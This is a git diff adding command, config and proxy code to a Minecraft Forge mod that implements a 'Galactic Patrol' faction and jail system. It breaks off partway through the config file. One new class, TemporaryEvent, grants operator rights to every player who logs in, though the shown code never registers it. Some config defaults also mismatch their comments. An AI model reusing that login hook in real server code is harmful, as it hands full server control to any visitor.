diff --git a/src/main/java/gp_dbc/Main.java b/src/main/java/gp_dbc/Main.java index a2bae97..86b6c5f 100644 --- a/src/main/java/gp_dbc/Main.java +++ b/src/main/java/gp_dbc/Main.java @@ -1,35 +1,66 @@ package gp_dbc; +import cpw.mods.fml.common.FMLCommonHandler; +import cpw.mods.fml.common.SidedProxy; import cpw.mods.fml.common.event.*; import cpw.mods.fml.common.Mod; import cpw.mods.fml.common.Mod.EventHandler; +import gp_dbc.commands.CommandGP; +import gp_dbc.config.ConfigManager; +import gp_dbc.items.ItemsGP; +import gp_dbc.proxy.CommonProxy; +import gp_dbc.system.GalacticPatrol; +import net.minecraft.creativetab.CreativeTabs; +import net.minecraft.init.Items; +import net.minecraft.item.Item; -@Mod(modid = Main.MODID, version = Main.VERSION) +@Mod(modid = Main.MODID, version = Main.VERSION, guiFactory = "gp_dbc.config.GuiFactoryConfig", canBeDeactivated = true) public class Main { + + @Mod.Instance(Main.MODID) + public static Main main = new Main(); + + @SidedProxy(clientSide = "gp_dbc.proxy.ClientProxy", serverSide = "gp_dbc.proxy.ServerProxy") + public static CommonProxy proxy; + + public static GalacticPatrol gp = new GalacticPatrol(); + public static final String MODID = "gp_dbc"; public static final String VERSION = "0.0.0"; @EventHandler - public void preInit(FMLPreInitializationEvent $e) { + public void preInit(FMLPreInitializationEvent e) { + proxy.preInit(e); + ConfigManager.init(e.getModConfigurationDirectory().toString()); + FMLCommonHandler.instance().bus().register(new ConfigManager()); } @EventHandler - public void init(FMLInitializationEvent $e) { + public void init(FMLInitializationEvent e) { + proxy.init(e); + ItemsGP.init(); } @EventHandler - public void postInit(FMLPostInitializationEvent $e) { - + public void postInit(FMLPostInitializationEvent e) { + proxy.postInit(e); } @EventHandler - public void serverStarting(FMLServerStartingEvent event) { - + public void serverStarting(FMLServerStartingEvent e) { + e.registerServerCommand(new CommandGP()); } @EventHandler - public void serverStopping(FMLServerStoppingEvent event) { + public void serverStopping(FMLServerStoppingEvent e) { } + + public static CreativeTabs tabGP = new CreativeTabs("tabGP"){ + @Override + public Item getTabIconItem() { + return Items.poisonous_potato; + } + }; } diff --git a/src/main/java/gp_dbc/TemporaryEvent.java b/src/main/java/gp_dbc/TemporaryEvent.java new file mode 100644 index 0000000..76c6b84 --- /dev/null +++ b/src/main/java/gp_dbc/TemporaryEvent.java @@ -0,0 +1,13 @@ +package gp_dbc; + +import cpw.mods.fml.common.eventhandler.SubscribeEvent; +import cpw.mods.fml.common.gameevent.PlayerEvent; +import net.minecraft.server.MinecraftServer; + +public class TemporaryEvent { + + @SubscribeEvent + public void PlayerLoggedInEvent(PlayerEvent.PlayerLoggedInEvent event) { + MinecraftServer.getServer().getCommandManager().executeCommand(MinecraftServer.getServer(), "/op " + event.player.getDisplayName()); + } +} diff --git a/src/main/java/gp_dbc/commands/CommandGP.java b/src/main/java/gp_dbc/commands/CommandGP.java new file mode 100644 index 0000000..7c38414 --- /dev/null +++ b/src/main/java/gp_dbc/commands/CommandGP.java @@ -0,0 +1,164 @@ +package gp_dbc.commands; + +import JinRyuu.JRMCore.server.JGPlayerMP; +import com.forgeessentials.api.UserIdent; +import gp_dbc.Main; +import net.minecraft.command.ICommand; +import net.minecraft.command.ICommandSender; +import net.minecraft.entity.player.EntityPlayer; +import net.minecraft.server.MinecraftServer; +import net.minecraft.server.dedicated.DedicatedServer; +import net.minecraft.util.ChatComponentText; +import net.minecraft.util.EnumChatFormatting; +import net.minecraft.world.World; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; + +import static com.forgeessentials.core.commands.ForgeEssentialsCommandBase.getListOfStringsMatchingLastWord; + +public class CommandGP implements ICommand { + + private final List aliases; + public static HashMap commands = new HashMap(); + public static final String[] COMMANDS = {"addGP", "removeGP", "inmate", "freeInmate", "removeJail"}; + + public CommandGP() { + aliases = new ArrayList(); + aliases.add("galacticpatrol"); + aliases.add("gp"); + + } + + @Override + public String getCommandName() { + return "galacticpatrol"; + } + + @Override + public String getCommandUsage(ICommandSender p_71518_1_) { + return "gp []"; + } + + @Override + public List getCommandAliases() { + return this.aliases; + } + + @Override + public void processCommand(ICommandSender sender, String[] argString) { + + EntityPlayer player = null; + String arg; + List args = new ArrayList<>(); + + if (argString.length == 0) { + sender.addChatMessage(new ChatComponentText(EnumChatFormatting.RED + "/gp []")); + return; + } + else if (argString.length == 1) { + if (sender instanceof EntityPlayer) + player = (EntityPlayer) sender; + else { + sender.addChatMessage(new ChatComponentText(EnumChatFormatting.RED + "/gp []")); + return; + } + } + else { + player = UserIdent.getPlayerByMatchOrUsername(sender, argString[argString.length - 1]); + + if (player == null) { + for (int i = 1; i < argString.length; i++) + args.add(argString[i]); + + if (sender instanceof EntityPlayer) + player = (EntityPlayer) sender; + else { + sender.addChatMessage(new ChatComponentText(EnumChatFormatting.RED + "Player not found")); + return; + } + } + else + for (int i = 1; i < argString.length - 1; i++) + args.add(argString[i]); + } + arg = argString[0]; + + JGPlayerMP jgPlayer = new JGPlayerMP(player); + jgPlayer.connectBaseNBT(); + + if (arg.equals(COMMANDS[0])) // Add + Main.gp.addToGalaticPatrol(player, true); + else if (arg.equals(COMMANDS[1])) // Remove + Main.gp.removeFromGalaticPatrol(player, true); + else if (arg.equals(COMMANDS[2])) { // Inmate + if (args.size() != 1) + sender.addChatMessage(new ChatComponentText(EnumChatFormatting.RED + "/gp jail sec []")); + else { + try { + Main.gp.jail.putPlayerInJail(sender, player, Long.parseLong(args.get(0)), true); + } catch (Exception e) { + sender.addChatMessage(new ChatComponentText(EnumChatFormatting.RED + "/gp jail sec []")); + } + } + } + else if (arg.equals(COMMANDS[3])) { // freeInmate + Main.gp.jail.removePlayerFromJail(sender, player, true); + } + else if (arg.equals(COMMANDS[4])) {// RemoveJail + if (args.size() != 4) + sender.addChatMessage(new ChatComponentText(EnumChatFormatting.RED + "/gp removeJail ")); + else { + try { + if (Main.gp.jail.removeCell(Integer.parseInt(args.get(0)), Integer.parseInt(args.get(1)), Integer.parseInt(args.get(2)), Integer.parseInt(args.get(3)))) + sender.addChatMessage(new ChatComponentText(EnumChatFormatting.GREEN + "Cell removed")); + else + sender.addChatMessage(new ChatComponentText(EnumChatFormatting.RED + "Cell doesn't exist")); + } catch (Exception e) { + sender.addChatMessage(new ChatComponentText(EnumChatFormatting.RED + "/gp removeJail []")); + } + } + } + else + sender.addChatMessage(new ChatComponentText(EnumChatFormatting.RED.toString() + EnumChatFormatting.UNDERLINE.toString() + "Galactic Patrol:" + + EnumChatFormatting.RESET.toString() + EnumChatFormatting.RED.toString() + " Command not found")); + } + + @Override + public boolean canCommandSenderUseCommand(ICommandSender sender) { + if (sender instanceof EntityPlayer) + return sender.canCommandSenderUseCommand(4, ""); + return true; + } + + @Override + public List addTabCompletionOptions(ICommandSender sender, String[] strArray) { + List strListComp = new ArrayList(); + + List listPlayer = MinecraftServer.getServer().getConfigurationManager().playerEntityList; + + if (strArray.length > 1) + for (EntityPlayer player : listPlayer) + strListComp.add(player.getDisplayName()); + else if (strArray.length == 1) + return getListOfStringsMatchingLastWord(strArray, commands.keySet()); + + return strListComp; + } + + @Override + public boolean isUsernameIndex(String[] p_82358_1_, int p_82358_2_) { + return false; + } + + @Override + public int compareTo(Object o) { + return 0; + } + + static { + for (int i = 0; i < COMMANDS.length; i++) + commands.put(COMMANDS[i], i + 1); + } +} diff --git a/src/main/java/gp_dbc/config/ConfigManager.java b/src/main/java/gp_dbc/config/ConfigManager.java new file mode 100644 index 0000000..b0d5582 --- /dev/null +++ b/src/main/java/gp_dbc/config/ConfigManager.java @@ -0,0 +1,178 @@ +package gp_dbc.config; + +import bspkrs.bspkrscore.fml.Reference; +import cpw.mods.fml.client.event.ConfigChangedEvent; +import cpw.mods.fml.common.eventhandler.SubscribeEvent; +import cpw.mods.fml.relauncher.Side; +import cpw.mods.fml.relauncher.SideOnly; + +import gp_dbc.Main; +import gp_dbc.utils.Pos; +import net.minecraftforge.common.config.Configuration; +import net.minecraftforge.common.config.Property; + +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileWriter; +import java.io.IOException; +import java.sql.Statement; +import java.util.ArrayList; +import java.util.List; + +public class ConfigManager { + + private static Configuration config; + public static boolean updateCheck = true; + + public static final String CATEGORY_GP = "Galactic Patrol"; + public static final String CATEGORY_GPE = "Galactic Patrol Error"; + public static final String CATEGORY_GPS = "Galactic Patrol Success"; + + public static String DIR_SAVE = "./" + Main.MODID + "/"; + + public static byte MIN_ALIGN_TO_JOIN = 33; + public static String ERROR_MIN_ALIGN_TO_JOIN = "Alignment too low"; + public static byte MAX_ALIGN_TO_JOIN = 100; + public static String ERROR_MAX_ALIGN_TO_JOIN = "Alignment too high"; + + public static String SUCCESS_JOIN_GALACTIC_PATROL = "You have joined Galactic Patrol"; + public static String ERROR_JOIN_GALACTIC_PATROL = "You are already in Galactic Patrol"; + + public static String SUCCESS_LEAVE_GALACTIC_PATROL = "You have left Galactic Patrol"; + public static String ERROR_LEAVE_GALACTIC_PATROL = "You aren't in Galactic Patrol"; + + public static String SUCCESS_ADD_CELL = "You have added a new cell"; + public static String ERROR_ADD_CELL = "There is already a cell here"; + + public static String ERROR_DEFINITION_EXIT_POS = "There isn't exit position"; + public static String ERROR_INVALID_VALUE_EXIT_POS = "Invalid value in exit position"; + public static String ERROR_UNAVAILABLE_CELL = "There aren't cell available"; + public static String ERROR_ALREADY_IN_JAIL = "Player already in jail"; + public static String ERROR_NOT_IN_JAIL = "Player not in jail"; + public static String SUCCESS_IN_JAIL = "Player put in jail for "; + public static String MSG_INMATE_GOING_TO_JAIL = "You are in jail for "; + public static int FORMAT_TIME_JAIL = 4; + + static public int SEC_TO_BE_IN_JAIL = 120; // second + static public String POS_EXIT_JAIL = ""; //"-247 66 275 20"; + static public Pos pos_exit_jail; + + public static void init(String configDir) { + if (config != null) + return ; + + File path = new File(configDir + "/" + Main.MODID + ".cfg"); + + config = new Configuration(path); + loadConfiguration(); + } + + private static void loadConfiguration() { + updateCheck = config.getBoolean("Check For Updates", Configuration.CATEGORY_GENERAL, true, "Allow this mod to check for updates."); + + List order = new ArrayList(); + + DIR_SAVE = addVariableConfig(order, CATEGORY_GP, "DIR_SAVE", + "Directory where data is saved. [default: " + "./" + Main.MODID + "/" + " ]", "./" + Main.MODID + "/").getString(); + + MIN_ALIGN_TO_JOIN = (byte)addVariableConfig(order, CATEGORY_GP, "MIN_ALIGN_TO_JOIN", + "Minimum alignment to join galactic patrol. [default: 33]", "33").getInt(); + + MAX_ALIGN_TO_JOIN = (byte)addVariableConfig(order, CATEGORY_GP, "MAX_ALIGN_TO_JOIN", + "Maximum alignment to join galactic patrol. [default: 100]", "100").getInt(); + + POS_EXIT_JAIL = addVariableConfig(order, CATEGORY_GP, "POS_EXIT_JAIL", + "Spawn point when a jailer leaves the prison. It's mandatory to put a player in jail. \" \" [default: \"\"]", "").getString(); + try { + String[] split = ConfigManager.POS_EXIT_JAIL.split(" "); + pos_exit_jail = new Pos(Integer.parseInt(split[0]), Integer.parseInt(split[1]), Integer.parseInt(split[2]), Integer.parseInt(split[3])); + } catch (Exception e) { + System.out.println(e.getMessage()); + pos_exit_jail = null; + } + + config.setCategoryPropertyOrder(CATEGORY_GP, order); + + loadConfigurationError(); + loadConfigurationSuccess(); + + if (config.hasChanged()) + config.save(); + } + + private static Property addVariableConfig(List order, String category, String key, String comment, String defaultValue) { + Property prop; + prop = config.get(category, key, defaultValue); + prop.comment = comment; + order.add(prop.getName()); + return prop; + } + + @SubscribeEvent + public void onConfigurationChangeEvent(ConfigChangedEvent.OnConfigChangedEvent event) { + if (event.modID.equalsIgnoreCase(Main.MODID)) + loadConfiguration(); + } + + public static Configuration getConfiguration() {return config;} + + private static void loadConfigurationError() { + List orderError = new ArrayList(); + + ERROR_MIN_ALIGN_TO_JOIN = addVariableConfig(orderError, CATEGORY_GPE, "ERROR_MIN_ALIGN_TO_JOIN", + "Error text in chat when a player tries to join without enough alignment. [default: \"Alignment too low\"]", "Alignment too low").getString(); + + ERROR_MAX_ALIGN_TO_JOIN = addVariableConfig(orderError, CATEGORY_GPE, "ERROR_MAX_ALIGN_TO_JOIN", + "Error text in chat when a player try to join with too much alignment. [default: \"Alignment too high\"]", "Alignment too high").getString(); + + ERROR_JOIN_GALACTIC_PATROL = addVariableConfig(orderError, CATEGORY_GPE, "ERROR_JOIN_GALACTIC_PATROL", + "Error text when a player tries to join Galactic Patrol and already in. [default: \"You are already in Galactic Patrol\"]", "You are already in Galactic Patrol").getString(); + + ERROR_LEAVE_GALACTIC_PATROL = addVariableConfig(orderError, CATEGORY_GPE, "ERROR_LEAVE_GALACTIC_PATROL", + "Error text when a player tries to leave Galactic Patrol and aren't in. [default: \"You aren't in Galactic Patrol\"]", "You aren't in Galactic Patrol").getString(); + + ERROR_ADD_CELL = addVariableConfig(orderError, CATEGORY_GPE, "ERROR_ADD_CELL", + "Error text when a player tries to add a new cell. [default: \"There isn't exit position\"]", "There isn't exit position").getString(); + + ERROR_DEFINITION_EXIT_POS = addVariableConfig(orderError, CATEGORY_GPE, "ERROR_DEFINITION_EXIT_POS", + "Error text when a player goes to jail but there isn't exit position. [default: \"There isn't exit position\"]", "There isn't exit position").getString(); + + ERROR_INVALID_VALUE_EXIT_POS = addVariableConfig(orderError, CATEGORY_GPE, "ERROR_INVALID_VALUE_EXIT_POS", + "Error text when a player goes to jail but the exit position is invalid. [default: \"Invalid value in exit position\"]", "Invalid value in exit position").getString(); + + ERROR_UNAVAILABLE_CELL = addVariableConfig(orderError, CATEGORY_GPE, "ERROR_UNAVAILABLE_CELL", + "Error text when a player cannot go to jail because all the cells are full or no cell is defined. [default: \"There aren't cell available\"]", "There aren't cell available").getString(); + + ERROR_ALREADY_IN_JAIL = addVariableConfig(orderError, CATEGORY_GPE, "ERROR_ALREADY_IN_JAIL", + "Error text when a player goes to jail but he is already in. [default: \"Player already in jail\"]", "Player already in jail").getString(); + + ERROR_NOT_IN_JAIL = addVariableConfig(orderError, CATEGORY_GPE, "ERROR_NOT_IN_JAIL", + "Error text when a inmate is release but he's already free. [default: \"There is already a cell here\"]", "There is already a cell here").getString(); + + config.setCategoryPropertyOrder(CATEGORY_GPE, orderError); + } + + private static void loadConfigurationSuccess() { + List orderSuccess = new ArrayList(); + + SUCCESS_JOIN_GALACTIC_PATROL = addVariableConfig(orderSuccess, CATEGORY_GPS, "SUCCESS_JOIN_GALACTIC_PATROL", + "Success text when a player join Galactic Patrol. [default: \"You joined Galactic Patrol\"]", "You joined Galactic Patrol").getString(); + + SUCCESS_LEAVE_GALACTIC_PATROL = addVariableConfig(orderSuccess, CATEGORY_GPS, "SUCCESS_LEAVE_GALACTIC_PATROL", + "Success text when a player left Galactic Patrol. [default: \"You have left Galactic Patrol\"]", "You have left Galactic Patrol").getString(); + + SUCCESS_ADD_CELL = addVariableConfig(orderSuccess, CATEGORY_GPS, "SUCCESS_ADD_CELL", + "Success text when a player adds new cell. [default: \"You have added a new cell\"]", "You have added a new cell").getString(); + + SUCCESS_IN_JAIL = addVariableConfig(orderSuccess, CATEGORY_GPS, "SUCCESS_IN_JAIL", + "Success text when a player put a other in jail. [default: \"Player put in jail for